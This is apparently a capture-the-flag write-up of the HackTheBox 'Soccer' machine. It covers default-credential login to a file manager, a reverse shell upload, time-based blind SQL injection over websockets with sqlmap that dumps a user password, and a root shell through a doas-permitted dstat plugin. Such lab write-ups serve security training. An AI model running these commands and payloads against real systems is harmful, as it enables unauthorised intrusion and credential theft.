HackTheBox - Machines Soccer

15/08/2023 - 1 minutes

hacking hackthebox javascript machines nginx privesc sqli web websockets

Table of contents

Foothold

Rustscan

Open 10.10.11.194:22
Open 10.10.11.194:80
Open 10.10.11.194:9091

Directory busting

[Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 95ms]
    * FUZZ: tiny

Tiny File Manager

login using default credentials: admin: admin@123 from https://github.com/prasathmani/tinyfilemanager upload simple php reverse shell and get shell as www-data

enumerate Nginx

/etc/nginx/sites-enabled -> http://soc-player.soccer.HTB and websockets with the weird port discovered by Nmap

Signup and login, you will be redirected to http://soc-player.soccer.htb/check Looking to the application's betting system(all written in JS)

var ws = new WebSocket("ws://soc-player.soccer.htb:9091");
window.onload = function () {

var btn = document.getElementById('btn');
var input = document.getElementById('id');

ws.onopen = function (e) {
	console.log('connected to the server')
}
input.addEventListener('keypress', (e) => {
	keyOne(e)
});

function keyOne(e) {
	e.stopPropagation();
	if (e.keyCode === 13) {
		e.preventDefault();
		sendText();
	}
}

function sendText() {
	var msg = input.value;
	if (msg.length > 0) {
		ws.send(JSON.stringify({
			"id": msg
		}))
	}
	else append("????????")
}
}

ws.onmessage = function (e) {
append(e.data)
}

function append(msg) {
let p = document.querySelector("p");
// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);
// p.style.color = randomColor;
p.textContent = msg
}

uses port 9091 as a websocket

sqli through websockets

the app is vulnerable to a simple 78783 or 1=1 -> evaluates to true even though ticket 78783 doesn't exist

exploiting sqli through websockets

utilise: https://github.com/BKreisel/sqlmap-websocket-proxy (pip install sqlmap-websocket-proxy)

terminal 1:

sqlmap-websocket-proxy -u ws://soc-player.soccer.htb:9091 -p '{"id": "%param%"}' --json

terminal 2:

sqlmap -u "http://localhost:8080/?param1=1" -p "param1" --batch

sqlmap output

Parameter: param1 (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: param1=1 AND (SELECT 2984 FROM (SELECT(SLEEP(5)))zYSt)

sqlmap dump DB

sqlmap -u "http://localhost:8080/?param1=1" -p "param1" --batch --dbms=mysql --tables

sqlmap dump soccer_db

sqlmap -u "http://localhost:8080/?param1=1" -p "param1" --dbms=mysql --dbs --threads=10 -D soccer_db -T accounts --dump-all

Dumped DB

[email protected]:PlayerOftheMatch2022

SSH login

\ssh [email protected]

Privesc

By running linpeas we can see that doas is installed on the system(BSD's version of sudo as I like to call it)

doas dstat

checking the config of doas(like sudoers file)

cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

from https://gtfobins.github.io/gtfobins/dstat#sudo

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
doas /usr/bin/dstat --xxx